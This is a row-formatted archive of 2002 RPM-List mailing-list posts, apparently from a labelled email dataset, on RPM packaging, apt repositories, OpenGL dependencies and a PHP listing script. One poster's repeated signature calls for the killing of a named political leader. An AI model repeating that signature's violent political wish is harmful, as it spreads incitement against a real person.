back, and personally although I do agree that they can be useful at times, I don't really like them. For me it's more of an ugly ""hack"" than anything else, and I'd approve completely a system that would enable to install/remove entire categories of software... but not if achieved by building empty packages. Also, you can trivially do ""apt-get install "", but removing all that it installed is a bit less trivial, and could be implemented in a trivial and clean fashion if using some functionality meant to do this. Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Harri Haataja ,rpm-zzzlist@freshrpms.net,"Wed, 24 Jul 2002 14:38:14 +0300",Re: apt repository for irssi,"On Wed, Jul 24, 2002 at 12:18:27AM +0200, Roy-Magne Mo wrote: > Seems like irssi.org also has an apt-rpm repository for snapshots of > irssi: > > rpm http://ninja.no/apt 7.3/i386 irssi > rpm-src http://ninja.no/apt 7.3/i386 irssi Maybe sf.net should provide automated (how much more automated can it get? Well, maybe automatic one-click setup and instructions for those who can't read manuals and a place in which to drop gpg keys) apt-rpm (and maybe apt-deb though debian seems to package most stuff anyway) repositories. If it was one big repository for ""stable"" releases and each could have their own for ""development"" or ""testing"" releases. You handled your own repo and they did a nightly stable update for example. Also it should check that no-one can manage to put in a package with the same name as another one or otherwise sabotage the thing. (hmm, and I suppose the good sigmonster may deserve a cookie, too..) -- Last time I was stoned, I tried to eat an airport. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Brian Fahrlander ,rpm-zzzlist@freshrpms.net,"Thu, 25 Jul 2002 12:22:28 -0500",Re: Gstreamer update,"On Thu, 25 Jul 2002 15:25:05 +0200, Matthias Saou wrote: > This is called ""pseudo-packages"" or ""meta-packages"" and Debian has been > using them for ages. I think Mandrake also makes these kind of empty > packages. > > Anyway, their use has been discussed here a while back, and personally > although I do agree that they can be useful at times, I don't really like > them. For me it's more of an ugly ""hack"" than anything else, and I'd > approve completely a system that would enable to install/remove entire > categories of software... but not if achieved by building empty packages. > > Also, you can trivially do ""apt-get install "", but removing > all that it installed is a bit less trivial, and could be implemented in a > trivial and clean fashion if using some functionality meant to do this. Yeah, well, I'm about to chuck the whole darned thing right now: the first upgrade to Gnome2 wiped out the possibility of changing preferences...exactly what got me outta Ximian before. I understand Gnomehide has the same files, right? I'm thinking about excorsizing the durned Ximian again... ------------------------------------------------------------------------ Brian Fahrlnder Linux Zealot, Conservative, and Technomad Evansville, IN My Voyage: http://www.CounterMoon.com ICQ 5119262 ------------------------------------------------------------------------ I don't want to hear news from Isreal until the news contains the words ""Bullet"", ""Brain"", and ""Arafat"". _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Harri Haataja ,Freshrpms list ,"Fri, 26 Jul 2002 12:52:55 +0300",req: Falcon's eye,"Another thing I see in debian but not in my RH boxen. http://falconseye.sourceforge.net/ It's a GL(?) interface to nethack :) -- ""And don't even think of quoting me out of context ;)"" -- Michael Hinz in the Monastery _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 =?iso-8859-1?q?Mich=E8l=20Alexandre=20Salim?= ,Freshrpms list ,"Fri, 26 Jul 2002 11:06:52 +0100 (BST)",Re: req: Falcon's eye,"FYI, I modified the Mandrake package a few months ago - rather a nightmare to package, I must say. Some stability issues but that might be my flaky ATI drivers. My Linux box is sitting in storage this summer though, so I don't have the .spec with me. Anyone else tried running Falcon's Eye on Red Hat? Regards, Michel --- Harri Haataja wrote: > Another thing I see in debian but not in my RH > boxen. > > http://falconseye.sourceforge.net/ > > It's a GL(?) interface to nethack :) > > -- > ""And don't even think of quoting me out of context > ;)"" > -- Michael Hinz in the Monastery > > > _______________________________________________ > RPM-List mailing list > http://lists.freshrpms.net/mailman/listinfo/rpm-list __________________________________________________ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Brian Fahrlander ,rpm-zzzlist@freshrpms.net,"Fri, 26 Jul 2002 08:17:51 -0500",Re: Gstreamer update,"On Fri, 26 Jul 2002 13:40:57 +0100 (BST), Michl Alexandre Salim wrote: > --- Angles Puglisi wrote: > > > > I still think there's got to be a way to get the > > packages that make gnomehide > > from the Limbo CDs, they would be newer. > > > Surely you just need to recompile and install them in > order? Nope- this one's all about gnome-vfs2 and the developers understand each other's parts- it's a programming issues. Some versions work together, some don't. Just like rep-gtk and audiofile was for sawfish, in the previous version of Ximian-gnome. :( . > Ximian packages are awful - I had recurring problems > with their packaged libxslt a few months back. Yeah...That's why I was hoping someone else had a 'more gospel' set of files. Oh, well. I've found a URL on my system I can get to'em with Nautilus. ------------------------------------------------------------------------ Brian Fahrlnder Linux Zealot, Conservative, and Technomad Evansville, IN My Voyage: http://www.CounterMoon.com ICQ 5119262 ------------------------------------------------------------------------ I don't want to hear news from Isreal until the news contains the words ""Bullet"", ""Brain"", and ""Arafat"". _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Lance ,rpm-zzzlist@freshrpms.net,26 Jul 2002 20:22:27 -0500,Re: Gstreamer update,"Well, I tried the Ximian GNOME 2.0 packages from http://apt.sunnmore.net, and have to say, it was a let-down. Ran 'apt-get update' , 'apt-get install gnome-session' then 'apt-get upgrade' and Nautilus failed to execute, couldn't get any help docs to come up, along with more problems. So, with the luck of 'rpm -qa|grep ximian' then removing by hand all ximian packages with 'rpm -e --nodeps' and reinstalling everything GNOME and GNOME-related with apt, I got trusty old Red Hat 7.3 GNOME back on the desktop, and the only trace of Ximian is Evolution, again, thanks to apt from this site. I really liked Ximian (back then, Helix ?) at first but, to me, Red Hat's GNOME, released with 7.3 seems much more pretty and up-to-date. Could this be because of inclusion of gtk2 in RH 7.3? Lance On Fri, 2002-07-26 at 07:40, Michl Alexandre Salim wrote: > --- Angles Puglisi wrote: > > > > I still think there's got to be a way to get the > > packages that make gnomehide > > from the Limbo CDs, they would be newer. > > > Surely you just need to recompile and install them in > order? > > Ximian packages are awful - I had recurring problems > with their packaged libxslt a few months back. > > Regards, > > Michel > > __________________________________________________ > Do You Yahoo!? > Everything you'll ever need on one web page > from News and Sport to Email and Music Charts > http://uk.my.yahoo.com > > _______________________________________________ > RPM-List mailing list > http://lists.freshrpms.net/mailman/listinfo/rpm-list -- : _ /~\'_ (o o) =====oooO==U==Oooo================[Joe Ramaswamy]========== THE LEWINSKY virus.. (Sucks all the memory out of your computer, then Emails everyone about what it did) ============================[URL:http://devil.net/joe_r/]== : _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """"" Angles "" Puglisi"" ",rpm-zzzlist@freshrpms.net,"Sat, 27 Jul 2002 02:32:27 +0000",Re: Gstreamer update,"Lance (lance_tt@bellsouth.net) wrote*: > >I really liked Ximian (back then, Helix ?) at first but, to me, Red >Hat's GNOME, released with 7.3 seems much more pretty and up-to-date. >Could this be because of inclusion of gtk2 in RH 7.3? Not many apps actually use gtk2 yet. If they do, it's obvious because it is a different tool kit. With gnomehide, I ported a lot of gtk1.2 themes to gtk2, because they are rarely compatible. Those themes are on dudex.net/rpms/ but it does not matter unless you have gnome2. In gnomehide, the apps that actually use gtk2 are Nautilus, gedit, some of the ""utility"" apps, like dictionary, calcultor, the settings applets, and of course the gnome panels and menus. -- That's ""angle"" as in geometry. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Ville =?ISO-8859-1?Q?Skytt=E4?= ,rpm-zzzlist@freshrpms.net,30 Jul 2002 00:17:21 +0300,Re: req: Falcon's eye,"On Fri, 2002-07-26 at 12:52, Harri Haataja wrote: > Another thing I see in debian but not in my RH boxen. > > http://falconseye.sourceforge.net/ > > It's a GL(?) interface to nethack :) Take a look at , I have RPMs for RH7.3 there, based on (and compatible with) the NH3.x that last appeared in RH7.1 powertools. apt'able, of course :) -- \/ille Skytt ville.skytta at iki.fi _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Ralf Ertzinger ,rpm-zzzlist@freshrpms.net,"Tue, 30 Jul 2002 17:00:21 +0200",Re: building as non-root / newbie question,"Hi. ""Kevin Worthington"" wrote: > into /home/dude/redhat etc. by running > #rpm -ivh foo.src.rpm Do this: echo ""%_topdir /home/dude/redhat"" >> /home/dude/.rpmmacros and make sure the directory structure (RPMS, SOURCES, SPECS, SRPMS, BUILD) is there. -- R! _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Harri Haataja ,rpm-zzzlist@freshrpms.net,"Tue, 30 Jul 2002 19:53:59 +0300",Re: req: Falcon's eye,"On Tue, Jul 30, 2002 at 12:17:21AM +0300, Ville Skytt wrote: > On Fri, 2002-07-26 at 12:52, Harri Haataja wrote: > > Another thing I see in debian but not in my RH boxen. > > http://falconseye.sourceforge.net/ > > It's a GL(?) interface to nethack :) > Take a look at , I have RPMs for RH7.3 > there, based on (and compatible with) the NH3.x that last appeared in > RH7.1 powertools. apt'able, of course :) And Text-Iconv too, nice :) Gpg key is nowhere in sight though even while vendors.list lists key id's. -- <@zomby[tm]> tea is just like noodle soup without noodles _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """Kevin Worthington"" ",rpm-zzzlist@freshrpms.net,"Tue, 30 Jul 2002 10:50:17 -0500",Re: building as non-root / newbie question,"> Hehe :-) So your usual *n?x login is ""dude"" too? ;-))))))) > > Matthias Hey Matthias, Actually it isn't, I used yours (I remembered from the RPM builder's guide ""The fight"" that your wrote). Mine is boring, I use kworthington, since my boxes are on a corporate LAN. Sorry to get your hopes up! You can think of it as a tribute to you if it makes you feel any better :-) ------------------------------------------------ Kevin Worthington - Faithful Red Hat Linux user since April 1998 Registered Linux User #218689 - http://counter.li.org -- Get your free email from www.linuxmail.org Powered by Outblaze _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """Kevin Worthington"" ",rpm-zzzlist@freshrpms.net,"Tue, 30 Jul 2002 10:43:11 -0500",Re: building as non-root / newbie question,"Hi Harri Thanks for the help! > > (why do I have the feeling that Matthias will answer this one...? ;-) > > I'm sorry if I disappointed you :) Hehe, no not at all! ;) ------------------------------------------------ Kevin Worthington - Faithful Red Hat Linux user since April 1998 Registered Linux User #218689 - http://counter.li.org -- Get your free email from www.linuxmail.org Powered by Outblaze _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Ville =?ISO-8859-1?Q?Skytt=E4?= ,rpm-zzzlist@freshrpms.net,30 Jul 2002 20:39:11 +0300,Re: req: Falcon's eye,"On Tue, 2002-07-30 at 19:53, Harri Haataja wrote: > > > Another thing I see in debian but not in my RH boxen. > > > http://falconseye.sourceforge.net/ > > > It's a GL(?) interface to nethack :) > > Take a look at , I have RPMs for RH7.3 > > there, based on (and compatible with) the NH3.x that last appeared in > > RH7.1 powertools. apt'able, of course :) > > And Text-Iconv too, nice :) > > Gpg key is nowhere in sight though even while vendors.list lists key > id's. Oops, fixed (in /apt/vs.key.asc). Thanks for pointing that out. -- \/ille Skytt ville.skytta at iki.fi _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """Manfred Grobosch"" ","""Rpm-List"" ","Tue, 30 Jul 2002 22:22:24 +0200",Installing RPM,"This is a multi-part message in MIME format. ------=_NextPart_000_0002_01C23817.94245ED0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit I would like to install RPM itself. I have tried to get the information by visiting www.rpm.org and the related links they give but they all seems to assume that RPM already is installed. I have a firewall based on linux-2.2.20 (Smoothwall) for private use. I would like to install the RPM package/program but there is no information how to do this from scratch. Found this site and hopefully some have the knowledge. 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itself. I have tried to get the information > by visiting www.rpm.org and the related links they > give but they all seems to assume that RPM already is installed. > I have a firewall based on linux-2.2.20 (Smoothwall) for private use. > I would like to install the RPM package/program but there is no > information how to do this from scratch. > Found this site and hopefully some have the knowledge. > Best regards Manfred Grobosch Well, you can simply use an rpm tarball (or extract one from a source rpm on a machine that has rpm scripts install ""rpm2cpio | cpio -dimv"" and ""./configure && make && make install"" as usual. You need db3 or db4 development files at least, and once everything installed you'll need to initialize your rpm database. If you need more help, I suggest you join the rpm-list@redhat.com by subscribing at https://listman.redhat.com/ Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Brian Fahrlander ,rpm-zzzlist@freshrpms.net,"Tue, 30 Jul 2002 15:53:11 -0500",Re: Installing RPM,"On Tue, 30 Jul 2002 22:22:24 +0200, ""Manfred Grobosch"" wrote: > I would like to install RPM itself. I have tried to get the information by > visiting www.rpm.org and the related links they give > but they all seems to assume that RPM already is installed. > I have a firewall based on linux-2.2.20 (Smoothwall) for private use. > I would like to install the RPM package/program but there is no information > how to do this from scratch. > Found this site and hopefully some have the knowledge. Well, if you have a Windows, SCO, or AIX box, (generally anything BUT Redhat Linux) that'd be the site I'd send you to, to get it installed. I've been there for the same reason, under SCO. Maybe you missed something? What OS are you running, anyway? ------------------------------------------------------------------------ Brian Fahrlnder Linux Zealot, Conservative, and Technomad Evansville, IN My Voyage: http://www.CounterMoon.com ICQ 5119262 ------------------------------------------------------------------------ I don't want to hear news from Isreal until the news contains the words ""Bullet"", ""Brain"", and ""Arafat"". _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 John Hinsley ,rpm-zzzlist@freshrpms.net,"Wed, 31 Jul 2002 05:34:37 +0100",OpenGL,"First, thanks for all the rpms, and especially ogle (which comes very close to working perfectly on my Cyrix 333 box!). Now, I desperately need some games, especially TuxKart and FlightGear, but I forever get stuck on a dependency: everything needs OpenGL. Querying the rpm database for OpenGL gets me nowhere fast. Can anyone point me in the right direction? What, in RedHat, provides OpenGL? Sorry for the question, but I've just switched from SuSE and I'm used to being able to tell YaST to sort out the dependencies........ Cheers John _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Ralf Ertzinger ,rpm-zzzlist@freshrpms.net,"Wed, 31 Jul 2002 10:53:51 +0200",Re: OpenGL,"Hi. John Hinsley wrote: > Querying the rpm database for OpenGL gets me nowhere fast. Can anyone > point me in the right direction? What, in RedHat, provides OpenGL? The X server itself does (or does not, depending on your driver). There is a software fallback called Mesa compiled in the X server, which is used as a fallback. So, if you have installed X, you have OpenGL. Try the glxinfo command to see the capabilities provided by your X system. -- R! _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Daniel Demus ,rpm-zzzlist@freshrpms.net,31 Jul 2002 12:01:07 +0200,Re: OpenGL,"On Wed, 2002-07-31 at 06:34, John Hinsley wrote: > First, thanks for all the rpms, and especially ogle (which comes very close to > working perfectly on my Cyrix 333 box!). > > Now, I desperately need some games, especially TuxKart and FlightGear, but I > forever get stuck on a dependency: everything needs OpenGL. Querying the rpm > database for OpenGL gets me nowhere fast. Can anyone point me in the right > direction? What, in RedHat, provides OpenGL? > If you have an NVIDIA card, the NVIDIA_GLX rpm provides OpenGL. It's for the NVidia proprietory drivers. Daniel _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 John Hinsley ,rpm-zzzlist@freshrpms.net,"Wed, 31 Jul 2002 16:35:18 +0100",Re: OpenGL,"On Wednesday 31 Jul 2002 9:53 am, Ralf Ertzinger wrote: > Hi. > > John Hinsley wrote: > > Querying the rpm database for OpenGL gets me nowhere fast. Can anyone > > point me in the right direction? What, in RedHat, provides OpenGL? > > The X server itself does (or does not, depending on your driver). There > is a software fallback called Mesa compiled in the X server, which > is used as a fallback. So, if you have installed X, you have OpenGL. > Try the glxinfo command to see the capabilities provided by your > X system. I get: [john@localhost john]$ glxinfo name of display: :0.0 display: :0 screen: 0 direct rendering: Yes server glx vendor string: NVIDIA Corporation server glx version string: 1.2 server glx extensions: GLX_EXT_visual_info, GLX_EXT_visual_rating, GLX_SGIX_fbconfig, GLX_SGIX_pbuffer client glx vendor string: NVIDIA Corporation client glx version string: 1.2 client glx extensions: GLX_ARB_get_proc_address, GLX_ARB_multisample, GLX_EXT_visual_info, GLX_EXT_visual_rating, GLX_EXT_import_context, GLX_SGI_video_sync, GLX_SGIX_swap_group, GLX_SGIX_swap_barrier, GLX_SGIX_fbconfig, GLX_SGIX_pbuffer GLX extensions: GLX_EXT_visual_info, GLX_EXT_visual_rating, GLX_SGIX_fbconfig, GLX_SGIX_pbuffer, GLX_ARB_get_proc_address OpenGL vendor string: NVIDIA Corporation OpenGL renderer string: RIVA TNT2/AGP OpenGL version string: 1.3.1 NVIDIA 29.60 OpenGL extensions: GL_ARB_imaging, GL_ARB_multitexture, GL_ARB_texture_env_add, GL_ARB_transpose_matrix, GL_EXT_abgr, GL_EXT_bgra, GL_EXT_compiled_vertex_array, GL_EXT_draw_range_elements, GL_EXT_fog_coord, GL_EXT_multi_draw_arrays, GL_EXT_packed_pixels, GL_EXT_point_parameters, GL_EXT_rescale_normal, GL_EXT_secondary_color, GL_EXT_separate_specular_color, GL_EXT_stencil_wrap, GL_EXT_texture_edge_clamp, GL_EXT_texture_env_add, GL_EXT_texture_env_combine, GL_EXT_texture_lod_bias, GL_EXT_texture_object, GL_EXT_vertex_array, GL_EXT_vertex_weighting, GL_IBM_texture_mirrored_repeat, GL_KTX_buffer_region, GL_NV_blend_square, GL_NV_evaluators, GL_NV_fog_distance, GL_NV_packed_depth_stencil, GL_NV_texgen_reflection, GL_NV_texture_env_combine4 glu version: 1.3 glu extensions: GLU_EXT_nurbs_tessellator, GLU_EXT_object_space_tess visual x bf lv rg d st colorbuffer ax dp st accumbuffer ms cav id dep cl sp sz l ci b ro r g b a bf th cl r g b a ns b eat ---------------------------------------------------------------------- 0x21 16 tc 0 16 0 r y . 5 6 5 0 0 16 0 16 16 16 16 0 0 None 0x22 16 dc 0 16 0 r y . 5 6 5 0 0 16 0 16 16 16 16 0 0 None 0x23 16 tc 0 16 0 r . . 5 6 5 0 0 16 0 16 16 16 16 0 0 None 0x24 16 dc 0 16 0 r . . 5 6 5 0 0 16 0 16 16 16 16 0 0 None So, I *do* have OpenGL, thanks all. Problem is that I can't find an rpm of plib which will install (or recognise that I have open GL). I guess I'll have to try and do that from source, unless anyone has any ideas? Cheers John John But I can't seem to find a version _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Doug Stewart ,rpm-zzzlist@freshrpms.net,"Wed, 31 Jul 2002 08:50:48 -0700 (PDT)",Two questions,"Maybe I'm just blind, but I've been poking through the archives of this list trying to find 1) what up-to-date KDE3 repositories are available and 2) where all the Xine skins went. Anybody? __________________________________________________ Do You Yahoo!? Yahoo! Health - Feel better, live better http://health.yahoo.com _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Wed, 31 Jul 2002 18:01:30 +0200",Re: Two questions,"Once upon a time, Doug wrote : > Maybe I'm just blind, but I've been poking through the > archives of this list trying to find 1) what > up-to-date KDE3 repositories are available and 2) > where all the Xine skins went. For that n2, it's simple : They've been pulled out from the upstream xine source. I guess I should make a ""xine-skins"" package if there is enough demand for it ;-) Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Wed, 31 Jul 2002 19:01:56 +0200",Re: Two questions,"Once upon a time, Matthias wrote : > For that n2, it's simple : They've been pulled out from the upstream > xine source. I guess I should make a ""xine-skins"" package if there is > enough demand for it ;-) Well, replying to my own post, sorry ;-) There is now a 1.3MB xine-skins package that includes all the available skins that can be found on the xine website. Time to ""apt-get install xine-skins"" for those who started to miss xinetic or lcd ;-) Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,RPM-List ,"Thu, 1 Aug 2002 10:51:56 +0200",Quick php advice needed :-),"This is a multi-part message in MIME format. --Multipart_Thu__1_Aug_2002_10:51:56_+0200_0865e508 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sorry, this hasn't got much to do with rpm packages directly ;-) My ""builds"" page is getting bigger and bigger, and quite messy as directories are listed in no particular order : http://freshrpms.net/builds/ What I'd need is to have last modification date of the directory displayed next to the directory name (sort of like ""mplayer - Thu Aug 1 2002""), and the list ordered to have the most recent entries at the top. Now, if there are php programmers on this list, I'd love to have their help on how to do this ;-) It must be quite simple to get the system mtime for the directory, it's the ordering that scares me a bit more. Attached is the current code (please keep in mind that I'm not a programmer, it usually explains a lot ;-)). Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 --Multipart_Thu__1_Aug_2002_10:51:56_+0200_0865e508 Content-Type: text/html; name=""index.html"" Content-Disposition: attachment; filename=""index.html"" Content-Transfer-Encoding: 7bit These are the current versions of all spec files and patches used for the builds you may find here. An anonymous CVS repository may be available some day so that all older releases become available too... ""maybe"", that is... Builds which have files publicly available :\n\n\n""; while ( $file = readdir( $open_dir ) ) { if ( ( is_dir( $file ) ) and ( !eregi(""^\.|CVS$"", $file) ) ) { echo "" $file\n""; } } } else { if ( is_dir( $build ) ) { $open_dir = opendir( $build ); echo ""Files available for build \""$build\"" :\n\n\n""; while ( $file = readdir( $open_dir ) ) { if ( !is_dir( $file ) ) { echo "" $file\n""; } } } else { echo ""\nEeeek! I can't find that build.\n\n\n""; } echo ""Back to the list of builds\n\n""; } ?> --Multipart_Thu__1_Aug_2002_10:51:56_+0200_0865e508-- _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Ville =?ISO-8859-1?Q?Skytt=E4?= ,rpm-zzzlist@freshrpms.net,01 Aug 2002 12:54:12 +0300,Re: Quick php advice needed :-),"On Thu, 2002-08-01 at 11:51, Matthias Saou wrote: > Sorry, this hasn't got much to do with rpm packages directly ;-) > > My ""builds"" page is getting bigger and bigger, and quite messy as > directories are listed in no particular order : > http://freshrpms.net/builds/ > > What I'd need is to have last modification date of the directory displayed > next to the directory name (sort of like ""mplayer - Thu Aug 1 2002""), and > the list ordered to have the most recent entries at the top. Take a look at , that's what produces the list at . Dirs are sorted alphabetically there, but I guess sorting by date wouldn't be that hairy... -- \/ille Skytt ville.skytta at iki.fi _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Daniel Demus ,RPM-List ,01 Aug 2002 12:09:34 +0200,Re: Quick php advice needed :-),"On Thu, 2002-08-01 at 10:51, Matthias Saou wrote: > Sorry, this hasn't got much to do with rpm packages directly ;-) > > My ""builds"" page is getting bigger and bigger, and quite messy as > directories are listed in no particular order : > http://freshrpms.net/builds/ > > What I'd need is to have last modification date of the directory displayed > next to the directory name (sort of like ""mplayer - Thu Aug 1 2002""), and > the list ordered to have the most recent entries at the top. > > Now, if there are php programmers on this list, I'd love to have their help > on how to do this ;-) It must be quite simple to get the system mtime for > the directory, it's the ordering that scares me a bit more. > > Attached is the current code (please keep in mind that I'm not a > programmer, it usually explains a lot ;-)). > You could try opening the directory with $filelist = popen(""ls -t "", ""r""). This should give you the filenames in the directory sorted by mod.time. You can then open each filename, and read filemtime() to get the mod.time. Daniel _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Brian Fahrlander ,rpm-zzzlist@freshrpms.net,"Thu, 1 Aug 2002 05:23:22 -0500",Re: Quick php advice needed :-),"On Thu, 1 Aug 2002 10:51:56 +0200, Matthias Saou wrote: > Sorry, this hasn't got much to do with rpm packages directly ;-) > > My ""builds"" page is getting bigger and bigger, and quite messy as > directories are listed in no particular order : > http://freshrpms.net/builds... Yep. Make sure there's a field in the database called (for example) ""Updated"" and when it comes time to generate the list, add ""order by updated"". This'll put it in that particular order for ya. You can also chose to order it by name, etc by changing this field. This should be the same for both MySql and Postgressql (any modern SQL, really). Which are you using? ------------------------------------------------------------------------ Brian Fahrlnder Linux Zealot, Conservative, and Technomad Evansville, IN My Voyage: http://www.CounterMoon.com ICQ 5119262 ------------------------------------------------------------------------ I don't want to hear news from Isreal until the news contains the words ""Bullet"", ""Brain"", and ""Arafat"". _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Thu, 1 Aug 2002 12:53:00 +0200",Re: Quick php advice needed :-),"Once upon a time, Brian wrote : > On Thu, 1 Aug 2002 10:51:56 +0200, Matthias Saou > wrote: > > > Sorry, this hasn't got much to do with rpm packages directly ;-) > > > > My ""builds"" page is getting bigger and bigger, and quite messy as > > directories are listed in no particular order : > > http://freshrpms.net/builds... > > Yep. Make sure there's a field in the database called (for example) > ""Updated"" and when it comes time to generate the list, add ""order by > updated"". This'll put it in that particular order for ya. You can > also chose to order it by name, etc by changing this field. > > This should be the same for both MySql and Postgressql (any modern > SQL, really). Which are you using? None for that ""builds"" part : It's just an export of the CVS tree in which I keep my spec files and patches! ;-) I think the filemtime() php function that Ville uses in his sript is what I'm looking for, then I guess I just need to fill an array with the names and mtimes, sort it, then display what I want :-) Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Brian Fahrlander ,rpm-zzzlist@freshrpms.net,"Thu, 1 Aug 2002 06:08:21 -0500",Re: Quick php advice needed :-),"On Thu, 1 Aug 2002 12:53:00 +0200, Matthias Saou wrote: > None for that ""builds"" part : It's just an export of the CVS tree in which > I keep my spec files and patches! ;-) > I think the filemtime() php function that Ville uses in his sript is what > I'm looking for, then I guess I just need to fill an array with the names > and mtimes, sort it, then display what I want :-) Arg; what a pain. You can have a cron job to 'digest' this information every so often and populate the database... ------------------------------------------------------------------------ Brian Fahrlnder Linux Zealot, Conservative, and Technomad Evansville, IN My Voyage: http://www.CounterMoon.com ICQ 5119262 ------------------------------------------------------------------------ I don't want to hear news from Isreal until the news contains the words ""Bullet"", ""Brain"", and ""Arafat"". _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 John Hinsley ,rpm-zzzlist@freshrpms.net,"Thu, 1 Aug 2002 15:08:59 +0100",Re: OpenGL,"On Thursday 01 Aug 2002 1:29 pm, Ralf Ertzinger wrote: > Hi. > > John Hinsley wrote: > > So, I *do* have OpenGL, thanks all. > > And it is using your hardware. > > > Problem is that I can't find an rpm of plib which will install (or > > recognise that I have open GL). I guess I'll have to try and do that > > from source, unless anyone has any ideas? > > plib as in plib.sf.net? They do not provide RPMs, as far as I have seen > (and I did not look inside the tarballs). Maybe it will be best to > build your RPMS yourself (and maybe Matthias can share some insight > in building RPMS with NVIDIAs drivers installed, it seems to be a > little tricky to do that and get RPMS which install on systems > without these drivers). Please! It does seem that with 7.3 something rather extraordinary has happened! And while there are rpms for plib (as in plib.sf.net), TuxRacer, FlightGear and so on (for SuSE, Mandy and Connectiva, IIRC) dotted around, there are none for 7.3. Cheers John _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """"" Angles "" Puglisi"" ","""=?iso-8859-1?Q?RPM=2DList?="" ","Thu, 01 Aug 2002 18:54:16 +0000",Re: Quick php advice needed :-),"I am a php programmer (very busy one at that - anglemail.org) but if someone gets to this before me, I would also love to se the code because I want my rpms site to be more user friendly. Matthias Saou (matthias@egwn.net) wrote*: > >Sorry, this hasn't got much to do with rpm packages directly ;-) > >My ""builds"" page is getting bigger and bigger, and quite messy as >directories are listed in no particular order : >http://freshrpms.net/builds/ > >What I'd need is to have last modification date of the directory displayed >next to the directory name (sort of like ""mplayer - Thu Aug 1 2002""), and >the list ordered to have the most recent entries at the top. > >Now, if there are php programmers on this list, I'd love to have their help >on how to do this ;-) It must be quite simple to get the system mtime for >the directory, it's the ordering that scares me a bit more. > >Attached is the current code (please keep in mind that I'm not a >programmer, it usually explains a lot ;-)). > >Matthias > > -- That's ""angle"" as in geometry. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Brian Fahrlander ,rpm-zzzlist@freshrpms.net,"Thu, 1 Aug 2002 18:37:32 -0500",Re: OpenGL,"On Thu, 1 Aug 2002 17:10:48 +0100, John Hinsley wrote: > No, the problem is that what plip expects is GL/glut.h (amongst other things) > which were there in 7.2 but have vanished in 7.3. Yeah, I know what you mean. Here's the trick: Remove the Nvidia drivers. Yeah, I know it's a pain... Load BOTH mesa, mesa-demos and basically everything that comes in the mesa rpm. THEN load NVidia; it'll know what to do. ...but it seems like I had to do this on 7.2, too. ------------------------------------------------------------------------ Brian Fahrlnder Linux Zealot, Conservative, and Technomad Evansville, IN My Voyage: http://www.CounterMoon.com 